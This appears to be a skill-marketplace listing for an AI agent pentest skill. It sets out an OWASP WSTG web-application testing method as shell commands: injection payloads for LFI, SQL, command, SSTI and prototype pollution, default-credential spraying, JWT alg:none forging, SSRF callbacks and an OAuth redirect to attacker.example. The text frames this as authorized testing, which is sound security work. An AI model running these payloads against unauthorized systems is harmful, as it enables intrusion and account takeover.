メニュー
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。
インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。
SOC 職業分類に基づく
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
直接コマンドでは確認用 Prompt が省略されます。実行前にソースを確認してください。
npx skills add https://github.com/uphiago/recon-skills --skill wstg-web-pentestコマンドは1行のまま表示されます。コピー前に横へスクロールして全体を確認してください。
ローカルで確認しますか？SkillsMP が現在取得できるファイルをダウンロードできます。
SKILL.md を表示中
Attack SAML SSO via XSW, signature strip, metadata extract.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
Use when verified WordPress findings may combine into an authorized path to administrative or server control.
| name | wstg-web-pentest |
| description | Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase. |
| version | 1.0.0 |
| author | uphiago |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, subfinder, dnsx, httpx, katana, nuclei, nmap, ffuf, jq, python3, openssl |
| metadata | {"tags":["wstg","web","pentest","owasp","methodology"],"category":"redteam","related_skills":["web2-recon","hunt-idor","hunt-xss","hunt-sqli","hunt-ssrf","hunt-cors","hunt-session","hunt-mfa-bypass","hunt-oauth","hunt-saml","hunt-graphql","hunt-file-upload","hunt-business-logic","hunt-websocket","hunt-source-leak","hunt-tls-network","hunt-subdomain","hunt-brute-force","triage-validation","report-writing","evidence-hygiene"]} |
Full OWASP WSTG-aligned testing methodology. Each phase maps to a WSTG category and provides concrete commands, expected outputs, pitfalls, and verification criteria.
The 12 phases:
1. Information Gathering WSTG-INFO
2. Configuration & Deployment WSTG-CONF
3. Identity Management WSTG-IDNT
4. Authentication WSTG-ATHN
5. Authorization WSTG-ATHZ
6. Session Management WSTG-SESS
7. Input Validation WSTG-INPV
8. Error Handling WSTG-ERRH
9. Weak Cryptography WSTG-CRYP
10. Business Logic WSTG-BUSL
11. Client-side WSTG-CLNT
12. API Testing WSTG-APIT
Classify every observation:
| State | Meaning |
|---|---|
| Signal | Observation justifies follow-up |
| Exposed | Service or behavior reachable in tested context |
| Vulnerable | Security property failed under controlled test |
| Exploitable | Controlled test demonstrated concrete impact |
curl, subfinder, dnsx, httpx, katana, nuclei,
nmap, ffuf, jq, python3, openssl, tlsx, wappalyzer or whatwebTARGET=
OUTPUT_DIR=
-p /{assets,http,urls,evidence,reports}
Map the attack surface before testing.
# Google dorks (manual in browser)
site:${TARGET}
site:${TARGET} filetype:pdf
site:${TARGET} inurl:admin
site:${TARGET} intitle:"index of"
# GitHub code search
gh search code "example.com" --limit 100 2>/dev/null
Pitfalls: Search results include third-party references. Verify ownership before treating a result as in-scope.
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'server|x-powered-by|x-aspnet-version|x-generator'
whatweb --max-redirects 2 --no-errors "https://${TARGET}" 2>/dev/null
Expected output: Server header, technology stack hints.
Pitfalls: Headers can be suppressed or spoofed by reverse proxies. Cross-reference with response behavior and error pages.
Verification: At least two independent signals agree on the technology.
for path in robots.txt sitemap.xml security.txt .well-known/security.txt; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
printf '%-30s %s\n' "$path" "$code"
done
Pitfalls: Disallowed paths in robots.txt are hints, not hidden secrets. sitemap.xml sometimes lists admin or staging endpoints.
subfinder -d "$TARGET" -silent | tee "$OUTPUT_DIR/assets/hostnames.txt"
curl -sS --max-time 30 \
"https://crt.sh/?q=%.${TARGET}&output=json" 2>/dev/null \
| jq -r '.[].name_value' 2>/dev/null \
| sed 's/^\*\.//' | sort -u \
>> "$OUTPUT_DIR/assets/hostnames.txt"
sort -u "$OUTPUT_DIR/assets/hostnames.txt" -o "$OUTPUT_DIR/assets/hostnames.txt"
Pitfalls: Wildcard entries are patterns, not hosts. Third-party names appear in SANs. Classify scope and ownership before probing.
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -a -json \
-o "$OUTPUT_DIR/assets/dns.jsonl"
httpx -l "$OUTPUT_DIR/assets/hostnames.txt" \
-silent -rate-limit 2 \
-status-code -title -tech-detect -server -ip -cname -json \
-o "$OUTPUT_DIR/http/services.jsonl"
# Live URLs only
jq -r '.url // empty' "$OUTPUT_DIR/http/services.jsonl" | sort -u \
> "$OUTPUT_DIR/http/live-urls.txt"
while IFS= read -r url; do
curl -sS --max-time 10 "$url" 2>/dev/null \
| grep -oPi '(email|password|secret|key|token|api[_-]?key|authorization|bearer)[^a-z0-9]*[=:]\s*["\x27]?[^\s"'\''<>&]+' \
| head -5
sleep 1
done < "$OUTPUT_DIR/http/live-urls.txt"
Pitfalls: Comments, inline scripts, and HTML data attributes frequently contain false leads. Confirm in context before reporting.
katana -list "$OUTPUT_DIR/http/live-urls.txt" \
-silent -jc -c 2 -p 2 -rl 2 \
-o "$OUTPUT_DIR/urls/katana.txt"
# Historical URLs
echo "$TARGET" | waybackurls 2>/dev/null > "$OUTPUT_DIR/urls/wayback.txt"
gau "$TARGET" --subs 2>/dev/null > "$OUTPUT_DIR/urls/gau.txt"
# Merge and classify
cat "$OUTPUT_DIR/urls/katana.txt" \
"$OUTPUT_DIR/urls/wayback.txt" \
"$OUTPUT_DIR/urls/gau.txt" \
| sort -u > "$OUTPUT_DIR/urls/all.txt"
grep -iE '/api/|/graphql|/rest/|swagger|openapi|/v[0-9]+/' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/api-candidates.txt"
grep -iE 'login|logout|register|reset|oauth|saml|callback|session|token|mfa|2fa' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/auth-candidates.txt"
grep -iE '\.js(\?.*)?$' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/javascript.txt"
grep -E '[?&][a-zA-Z0-9_.-]+=' \
"$OUTPUT_DIR/urls/all.txt" > "$OUTPUT_DIR/urls/parameterized.txt"
httpx -l "$OUTPUT_DIR/http/live-urls.txt" \
-silent -tech-detect -json \
| jq -r '[.url, (.tech // [] | join(","))] | @tsv' \
> "$OUTPUT_DIR/http/frameworks.tsv"
Verification: Confirm framework fingerprint with at least two signals: a
header, a cookie name (e.g. laravel_session, JSESSIONID), a path pattern
(/wp-content/, /_next/), or a unique error page.
# TLS inspection
tlsx -l "$OUTPUT_DIR/http/live-urls.txt" -silent -san -nc -json \
-o "$OUTPUT_DIR/assets/tls.jsonl"
# Port scan (when in-scope IPs are provided)
nmap -sT --top-ports 100 --open -T3 \
-oA "$OUTPUT_DIR/assets/nmap-top100" \
-iL in-scope-ips.txt 2>/dev/null
Pitfalls: Port scanning is active and detectable. Run only on in-scope IPs and with conservative timing.
Test infrastructure and platform configuration.
# Check for common admin panels
for path in admin administrator admin.php admin.aspx console manager \
phpmyadmin pma phppgadmin webmin cpanel:2082 whm:2086; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
[ "$code" != "404" ] && printf '%-25s %s\n' "$path" "$code"
sleep 1
done
# Common config files
for path in .env .env.local .env.production .env.development \
config.json config.yml config.yaml settings.py wp-config.php \
web.config .htaccess Dockerfile docker-compose.yml; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
[ "$code" = "200" ] && echo "[!] EXPOSED: $path (HTTP $code)"
sleep 1
done
Pitfalls: A 200 response with a generic shell or redirect is not a config leak. Always inspect the body.
Verification: Body contains configuration keys, database credentials, API keys, or environment variables.
# Check how the server handles backup and alternate extensions
for ext in bak old backup orig save swp tmp ~; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/index.html.${ext}" 2>/dev/null)
[ "$code" != "404" ] && echo "[*] index.html.${ext}: $code"
sleep 1
done
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt \
-u "https://${TARGET}/FUZZ" \
-e .bak,.old,.backup,.zip,.tar.gz,.sql,.tgz \
-mc 200,301,302,403 \
-rate 5 -t 5 \
-o "$OUTPUT_DIR/evidence/ffuf-backup.json" 2>/dev/null
Pitfalls: Archive files from public sources (GitHub releases, CDN) are not leaks. Confirm the file contains source or configuration before reporting.
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common-admin.txt \
-u "https://${TARGET}/FUZZ" \
-mc 200,301,302,403 -rate 5 -t 5 \
-o "$OUTPUT_DIR/evidence/ffuf-admin.json" 2>/dev/null
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X "$method" "https://${TARGET}/" 2>/dev/null)
printf '%-8s %s\n' "$method" "$code"
sleep 1
done
# OPTIONS response often lists allowed methods
curl -sS -D - --max-time 10 -X OPTIONS "https://${TARGET}/" 2>/dev/null \
| grep -i 'allow:'
Pitfalls: TRACE is informational unless combined with cookie-bearing requests. PUT without authentication is high.
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'strict-transport-security'
Verification: Header present with max-age >= 31536000 and includeSubDomains.
# Check CNAMEs pointing to unclaimed services
dnsx -l "$OUTPUT_DIR/assets/hostnames.txt" -silent -cname -json \
| jq -r 'select(.cname != null) | "\(.host) -> \(.cname | join(","))"' \
> "$OUTPUT_DIR/assets/cnames.txt"
subzy run --targets "$OUTPUT_DIR/assets/hostnames.txt" 2>/dev/null
Verification: Confirmed dangling CNAME record on a service that allows re-registration of the target hostname.
# S3 buckets named after the target
for bucket in "${TARGET}" "static.${TARGET}" "media.${TARGET}" \
"cdn.${TARGET}" "assets.${TARGET}"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${bucket}.s3.amazonaws.com" 2>/dev/null)
[ "$code" != "404" ] && echo "[*] S3 bucket $bucket: $code"
done
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'content-security-policy'
Verification: CSP present, does not contain unsafe-inline or
unsafe-eval without a nonce or hash, restricts script-src and object-src.
# Check how path traversal and encoding are handled
for path in "%2e%2e/%2e%2e/etc/passwd" \
"..;/..;/etc/passwd" \
"/%2e%2e/%2e%2e/%2e%2e/etc/passwd"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/${path}" 2>/dev/null)
echo "$path: $code"
sleep 1
done
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -iE 'x-frame-options|x-content-type-options|referrer-policy|permissions-policy|x-xss-protection'
Verification: X-Frame-Options DENY or SAMEORIGIN; X-Content-Type-Options
nosniff; Referrer-Policy restricts referrer; Permissions-Policy restricts
sensitive APIs.
Test user registration, provisioning, and enumeration.
Document every role from captured traffic, API responses, and observed UI. For each role, record accessible routes and operations.
# Test registration with invalid inputs
curl -sS --max-time 10 -X POST "https://${TARGET}/register" \
-H 'Content-Type: application/json' \
-d '{"username":"<script>alert(1)</script>","password":"a","email":"../../etc/passwd"}' \
2>/dev/null | head -20
Tests by identity:
| Test | What to observe |
|---|---|
| Duplicate registration | Error message reveals existing user? |
| Weak password | Accepted without complexity requirements? |
| Automated registration | CAPTCHA or rate limit present? |
| Email verification bypass | Can you use the account before verification? |
# Login timing analysis
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"admin","password":"wrong"}' > /dev/null 2>&1
time curl -sS --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"nonexistent12345","password":"wrong"}' > /dev/null 2>&1
# Password reset enumeration
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"admin@'"${TARGET}"'"}' 2>/dev/null
curl -sS --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"nonexistent@'"${TARGET}"'"}' 2>/dev/null
Pitfalls: Timing differences under 200ms are rarely reliable. Status code and response body differences are stronger signals.
Verification: Consistent, reproducible difference between existing and non-existing accounts across multiple test runs.
Pitfalls: Do not enumerate production accounts. Use synthetic test accounts to confirm the mechanism exists, then stop.
Test the full authentication flow.
# Check login form action
curl -sS --max-time 10 "https://${TARGET}/login" 2>/dev/null \
| grep -oPi 'action=["\x27][^"\x27]*["\x27]'
# Check that login POST uses HTTPS
curl -sS --max-time 10 -X POST "http://${TARGET}/login" \
-o /dev/null -w '%{redirect_url}\n' 2>/dev/null
Verification: Login form submits over HTTPS. HTTP version redirects to HTTPS before accepting credentials.
# Test common defaults (only on test accounts or after confirming scope allows)
for creds in "admin:admin" "admin:password" "admin:${TARGET}" \
"administrator:administrator" "root:root" "user:user" \
"test:test" "guest:guest"; do
IFS=':' read -r user pass <<< "$creds"
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-u "$user:$pass" "https://${TARGET}/" 2>/dev/null)
[ "$code" = "200" ] && echo "[!] Default creds work: $user:$pass -> $code"
sleep 2
done
Pitfalls: This generates authentication failures. Rate limits may apply. Do not lock out accounts.
Do not test against production accounts. Use a dedicated test account.
for i in $(seq 1 10); do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X POST "https://${TARGET}/login" \
-d "username=test-lockout&password=wrong$i" 2>/dev/null)
echo "Attempt $i: $code"
sleep 1
done
# Try the correct password afterward
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
-X POST "https://${TARGET}/login" \
-d "username=test-lockout&password=correctpassword" 2>/dev/null)
echo "After lockout: $code"
Verification: Account locks after N consecutive failures (typically 3-10). Lockout applies even with the correct password.
# Direct page access — request protected pages without a session
for url in /admin /dashboard /api/admin /internal /manage /settings /profile; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}${url}" 2>/dev/null)
echo "$url: $code"
sleep 1
done
# Parameter modification — test if role/privilege parameters bypass auth
curl -sS --max-time 10 "https://${TARGET}/admin?admin=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
curl -sS --max-time 10 "https://${TARGET}/admin?debug=true" -o /dev/null -w '%{http_code}\n' 2>/dev/null
Document the authentication flow:
# Check if token appears in URL / Referer / response
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/reset" \
-H 'Content-Type: application/json' \
-d '{"email":"test-user@'"${TARGET}"'"}' 2>/dev/null
# Test token predictability (only on test accounts)
TOKEN1=$(echo "reset-token-$(date +%s)" | md5sum | cut -d' ' -f1)
TOKEN2=$(echo "reset-token-$(( $(date +%s) - 60 ))" | md5sum | cut -d' ' -f1)
# Request reset with each token variant
Verification: Token is high-entropy, single-use, time-limited, and delivered over a separate channel.
# Check if MFA can be skipped by requesting post-MFA URLs directly
curl -sS --max-time 10 "https://${TARGET}/dashboard" \
-H 'Cookie: session=<post-login-cookie>' -o /dev/null -w '%{http_code}\n'
# Check OTP rate limiting (use test account)
for i in $(seq 1 5); do
curl -sS --max-time 10 -X POST "https://${TARGET}/mfa/verify" \
-H 'Content-Type: application/json' \
-d '{"code":"000000"}' -o /dev/null -w '%{http_code} '
sleep 1
done; echo
Requires at least two test identities.
# LFI candidates
for payload in \
"../../../etc/passwd" \
"....//....//....//etc/passwd" \
"..%252f..%252f..%252fetc/passwd" \
"/etc/passwd" \
"file:///etc/passwd" \
"php://filter/convert.base64-encode/resource=index" \
"....//....//....//....//windows/win.ini"; do
code=$(curl -sS -o /dev/null -w '%{http_code}' --max-time 10 \
"https://${TARGET}/?page=${payload}" 2>/dev/null)
echo "$payload: $code"
sleep 1
done
Verification: Response contains /etc/passwd content, source code, or
OS-specific file content confirmed by content signature (not just 200).
With two test identities (User A and User B):
# User A accesses User B's resources
curl -sS --max-time 10 "https://${TARGET}/api/user/profile" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
curl -sS --max-time 10 "https://${TARGET}/api/user/profile?user_id=USER_B_ID" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n'
# Test if lower-privilege user can access admin endpoints
for path in /admin /admin/users /api/admin /manage /settings/admin; do
code=$(curl -sS --max-time 10 "https://${TARGET}${path}" \
-H 'Authorization: Bearer USER_A_TOKEN' -o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$path: $code"
sleep 1
done
# Test role parameter manipulation
curl -sS --max-time 10 -X PATCH "https://${TARGET}/api/user/profile" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-H 'Content-Type: application/json' \
-d '{"role":"admin"}' 2>/dev/null
# After observing an object ID pattern, test sequential access
BASE_ID=100
for i in $(seq 0 5); do
ID=$((BASE_ID + i))
code=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-sS -o /dev/null -w '%{http_code}' 2>/dev/null)
body_len=$(curl -sS --max-time 10 \
"https://${TARGET}/api/objects/${ID}" \
-H 'Authorization: Bearer USER_A_TOKEN' 2>/dev/null | wc -c)
echo "ID $ID: $code ($body_len bytes)"
sleep 1
done
Verification: User A receives data from an object belonging to User B, confirmed by comparing content, owner fields, or tenant identifiers. Need both identities for proof.
# Check OAuth redirect_uri validation
curl -sS --max-time 10 \
"https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://attacker.example/callback&response_type=code" \
-o /dev/null -w '%{http_code} %{redirect_url}\n'
# Test state parameter
curl -sS --max-time 10 \
"https://${TARGET}/oauth/authorize?client_id=CLIENT_ID&redirect_uri=CALLBACK&response_type=code" \
-o /dev/null -w '%{redirect_url}\n'
# Capture session cookies after login
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-H 'Content-Type: application/json' \
-d '{"username":"TEST_USER","password":"TEST_PASS"}' \
-o /dev/null 2>&1 | grep -i 'set-cookie'
Tests:
| Test | What to check |
|---|---|
| Token entropy | Length >= 128 bits; use ent or manual inspection |
| Token regeneration | New value after login? |
| Token on logout | Invalidated server-side after logout? |
| Token on password change | Invalidated after password change? |
| Concurrent sessions | Multiple simultaneous sessions allowed? |
# Check all Set-Cookie attributes on every response
curl -sS -D - --max-time 10 "https://${TARGET}/" -o /dev/null 2>&1 \
| grep -i 'set-cookie' \
| while read -r line; do
echo "$line" | grep -qi 'secure' || echo " [!] Missing Secure"
echo "$line" | grep -qi 'httponly' || echo " [!] Missing HttpOnly"
echo "$line" | grep -qi 'samesite' || echo " [!] Missing SameSite"
echo "---"
done
Verification: Session cookies have Secure, HttpOnly, and SameSite=Lax or Strict. __Host- prefix used when scope is path-bound.
# Get a pre-authentication session cookie
SESSION=$(curl -sS -D - --max-time 10 "https://${TARGET}/login" \
-o /dev/null 2>&1 | grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')
# Use that cookie to authenticate
curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-H "Cookie: $SESSION" \
-d 'username=TEST_USER&password=TEST_PASS' \
-o /dev/null 2>&1 | grep -i 'set-cookie'
# Check if the post-login cookie differs from the pre-login one
Verification: The server issues a new session identifier after authentication, not reusing the pre-authentication value.
# Check for CSRF tokens on state-changing forms
curl -sS --max-time 10 "https://${TARGET}/settings" 2>/dev/null \
| grep -iP 'csrf|_token|nonce|xsrf'
# Test if same-origin bypass works (no token, different method, custom header)
curl -sS --max-time 10 -X POST "https://${TARGET}/api/settings" \
-H 'Content-Type: application/json' \
-H 'Cookie: session=VALID_SESSION' \
-d '{"email":"test@example.com"}' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
Pitfalls: SameSite=Lax cookies do not protect against GET-based CSRF. Custom headers (X-Requested-With) only block simple cross-origin requests.
# Capture session, logout, try reusing session
SESSION=$(curl -sS -D - --max-time 10 -X POST "https://${TARGET}/login" \
-d 'username=TEST_USER&password=TEST_PASS' -o /dev/null 2>&1 \
| grep -i 'set-cookie' | sed 's/.*: //;s/;.*//')
curl -sS --max-time 10 -X POST "https://${TARGET}/logout" \
-H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'
sleep 2
curl -sS --max-time 10 "https://${TARGET}/settings" \
-H "Cookie: $SESSION" -o /dev/null -w '%{http_code}\n'
Verification: Session is invalidated after logout (returns 302 or 401, not 200 with authenticated content).
Document the idle timeout and absolute timeout. Check if "remember me" extends the absolute timeout.
# Decode a JWT without verification
jwt_token="<captured_jwt>"
echo "$jwt_token" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Test alg:none
header=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0)
payload=$(echo "$jwt_token" | cut -d. -f2)
echo "${header}.${payload}." | sed 's/=//g'
# Test weak HMAC secret
hashcat -m 16500 "$jwt_token" /usr/share/wordlists/rockyou.txt --quiet 2>/dev/null
Pitfalls: JWT decoding is not a finding. The finding is: the server accepts alg:none, accepts a symmetric key when RS256/ES256 is expected, or uses a guessable secret.
# Test every parameter with a benign probe first
for param in q search query id page name email message comment; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/search?${param}=<xss%20id=xss>" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$param: $code"
sleep 1
done
# Check reflection in response body
curl -sS --max-time 10 "https://${TARGET}/search?q=xssreflectiontest" 2>/dev/null \
| grep -o 'xssreflectiontest'
Pitfalls: WAF may block obvious probes. Start with unique benign strings and check reflection before moving to payloads. An encoded reflection in an attribute context requires a different payload than a raw HTML context.
Test every input that persists: comments, profiles, messages, support tickets. Verify in a second session (different browser/incognito) that the stored payload renders for another user.
# Try bypassing restrictions by changing the HTTP method
for method in GET POST PUT PATCH DELETE HEAD OPTIONS; do
code=$(curl -sS --max-time 10 -X "$method" \
"https://${TARGET}/api/admin/users" \
-H 'Authorization: Bearer USER_A_TOKEN' \
-o /dev/null -w '%{http_code}\n' 2>/dev/null)
echo "$method: $code"
sleep 1
done
# Detect with benign probes first
for payload in "'" "\"" "')" '"))' "1' OR '1'='1" "1 OR 1=1"; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/product?id=${payload}" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$payload: $code"
sleep 1
done
# Time-based blind test
for db in "pg_sleep(5)" "sleep(5)" "WAITFOR DELAY '0:0:5'"; do
time curl -sS --max-time 15 \
"https://${TARGET}/product?id=1%3B${db}%3B--" \
-o /dev/null 2>/dev/null
sleep 1
done
Pitfalls: Time-based tests are noisy. A 5-second delay in a fast response is a strong signal; a 200ms variance is not. Error-based tests require understanding the DBMS error format.
Verification: Confirmed data extraction (database names, table names, row counts) through error-based, union-based, or blind channels. A single error message is a lead, not a finding.
# Test for PHP wrappers
for wrapper in \
"php://filter/convert.base64-encode/resource=index.php" \
"php://filter/convert.base64-encode/resource=../../etc/passwd" \
"expect://id" \
"data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}/?page=${wrapper}" \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "$wrapper: $code"
sleep 1
done
# Test with time-based commands
for cmd in "sleep+5" "||+sleep+5" ";+sleep+5" "\x60sleep+5\x60" \
"\$(sleep+5)" "|+sleep+5"; do
time curl -sS --max-time 15 \
"https://${TARGET}/ping?host=127.0.0.1${cmd}" \
-o /dev/null 2>/dev/null
sleep 1
done
Pitfalls: Do not test destructive commands (rm, shutdown, wget).
Use time-based or OOB (Collaborator) detection for blind cases.
# CL.TE probe
printf 'POST / HTTP/1.1\r\nHost: %s\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nG' "$TARGET" \
| nc -w 5 "$TARGET" 80
# H2.CL probe — requires HTTP/2 capable client
curl --http2 -sS --max-time 10 "https://${TARGET}/" -o /dev/null -w '%{http_version}\n'
curl -sS --max-time 10 "https://${TARGET}/" \
-H "Host: evil.example.com" -o /dev/null -w '%{http_code}\n'
curl -sS --max-time 10 "https://${TARGET}/" \
-H "X-Forwarded-Host: evil.example.com" -o /dev/null -w '%{http_code}\n'
Verification: Host header is reflected in password reset links, absolute URLs in response bodies, or redirects. Reflection in a header alone is not exploitable.
# Template engine detection probes — run these against every reflected parameter
for probe in '{{7*7}}' '${7*7}' '<%=7*7%>' '#{7*7}' '{{7*\'7\'}}' \
'${{7*7}}' '@(7*7)'; do
resp=$(curl -sS --max-time 10 \
"https://${TARGET}/?q=$(python3 -c "import urllib.parse; print(urllib.parse.quote('''$probe'''))")" \
2>/dev/null)
echo "$resp" | grep -q '49' && echo "[!] SSTI confirmed: $probe returned 49 in $resp"
sleep 1
done
# Use an OOB Collaborator / Burp Collaborator / interactsh
CALLBACK="your-id.oastify.com"
# Test URL parameters that fetch external resources
for param in url uri path redirect callback webhook src proxy file image \
avatar import fetch download; do
curl -sS --max-time 10 \
"https://${TARGET}/fetch?${param}=http://${CALLBACK}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
sleep 1
done
# Test request body JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/import" \
-H 'Content-Type: application/json' \
-d "{\"url\":\"http://${CALLBACK}\"}" \
-o /dev/null -w '%{http_code}\n' 2>/dev/null
Pitfalls: A DNS callback from a CDN or webhook validation service does not prove the target made the request. Check the User-Agent, source IP, and timing.
Verification: Confirmed callback with identifying information (source IP, User-Agent, or path unique to the target). For cloud metadata access, confirmed retrieval of credentials or instance data.
# Try setting privileged fields
curl -sS --max-time 10 -X POST "https://${TARGET}/api/register" \
-H 'Content-Type: application/json' \
-d '{"username":"test","password":"test","role":"admin","isAdmin":true,"verified":true}' \
2>/dev/null | python3 -m json.tool 2>/dev/null
Verification: The response confirms the escalated role, or a subsequent authenticated request demonstrates the escalated privilege.
# Client-side (browser console)
Object.prototype.polluted = true
# Check if new objects have the property
# Server-side via JSON
curl -sS --max-time 10 -X POST "https://${TARGET}/api/update" \
-H 'Content-Type: application/json' \
-d '{"__proto__":{"isAdmin":true},"constructor":{"prototype":{"isAdmin":true}}}' \
2>/dev/null
# Trigger errors with malformed input
for trigger in \
"/nonexistent" \
"?id=abc" \
"?id[]=1" \
"?id=999999999999" \
"?id=-1" \
"?id=0" \
"'" \
"%00"; do
code=$(curl -sS --max-time 10 \
"https://${TARGET}${trigger}" \
-o "$OUTPUT_DIR/evidence/error-$(echo $trigger | md5sum | cut -c1-8).html" \
-w '%{http_code}' 2>/dev/null)
echo "$trigger: $code"
sleep 1
done
Check each response body for: stack traces, framework names and versions, SQL queries, file paths, database connection strings, internal IPs, API keys.
# Common stack trace patterns
grep -rniE '^\s*at |stack trace|traceback|\.py", line |\.java:|\.php on line|\.rb:\d+:|\.go:\d+|in `|\.tsx:\d+:|\.js:\d+' \
"$OUTPUT_DIR/evidence/" 2>/dev/null
Verification: Response contains a full stack trace with framework-internal paths and line numbers, not just a generic error message.
# Quick TLS version and cipher check
nmap -sV --script ssl-enum-ciphers -p 443 "$TARGET" 2>/dev/null
# Check certificate validity
openssl s_client -connect "${TARGET}:443" -servername "$TARGET" \
</dev/null 2>/dev/null | openssl x509 -noout -text \
| grep -E 'Not Before|Not After|Issuer:|Subject:'
# testssl.sh for comprehensive analysis
testssl --quiet --json "$TARGET" 2>/dev/null
Verification: TLS 1.0/1.1 supported, weak ciphers (RC4, 3DES, EXPORT), missing forward secrecy, invalid/expired certificate, or hostname mismatch.
# Test for padding oracle in encrypted cookies or tokens
# Requires specialized tools: padbuster, padding-oracle-attacker
# This is a detection probe, not a full exploit
code_ok=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=VALID_ENCRYPTED_COOKIE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
code_bad=$(curl -sS --max-time 10 "https://${TARGET}/" \
-H 'Cookie: session=MODIFIED_LAST_BYTE' \
-o /dev/null -w '%{http_code}' 2>/dev/null)
echo "Valid: $code_ok, Modified: $code_bad"
Pitfalls: A different response code does not automatically indicate a padding oracle. You need to systematically flip bytes and observe consistent padding-error vs data-error behavior.
# Check if the site is available over HTTP
code=$(curl -sS --max-time 10 "http://${TARGET}/" -o /dev/null -w '%{http_code}' 2>/dev/null)
echo "HTTP: $code"
# Check for mixed content on the HTTPS version
curl -sS --max-time 10 "https://${TARGET}/" 2>/dev/null \
| grep -oPi '(src|href)=["\x27]http://[^"\x27]*["\x27]'
Inspect any observed cryptographic values: tokens, cookies, API keys, password hashes. Check for:
# Negative quantity in cart
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/add" \
-H 'Content-Type: application/json' \
-d '{"product_id":1,"quantity":-1}' 2>/dev/null
# Zero or negative price
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout" \
-H 'Content-Type: application/json' \
-d '{"items":[{"product_id":1,"price":0.01,"quantity":1}]}' 2>/dev/null
# Check if signed values (coupons, discounts) can be modified
# Try changing a coupon code parameter
curl -sS --max-time 10 -X POST "https://${TARGET}/checkout/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"FREE100"}' 2>/dev/null
Inspect whether price, quantity, and discount values in requests are validated against server-side values. Modify them in transit and observe.
# Race condition: apply coupon multiple times simultaneously
for i in $(seq 1 5); do
curl -sS --max-time 10 -X POST "https://${TARGET}/cart/apply-coupon" \
-H 'Content-Type: application/json' \
-d '{"coupon":"LIMITED10"}' -o /dev/null -w '%{http_code} ' 2>/dev/null &
done; wait; echo
# Skip checkout steps by accessing later URLs directly
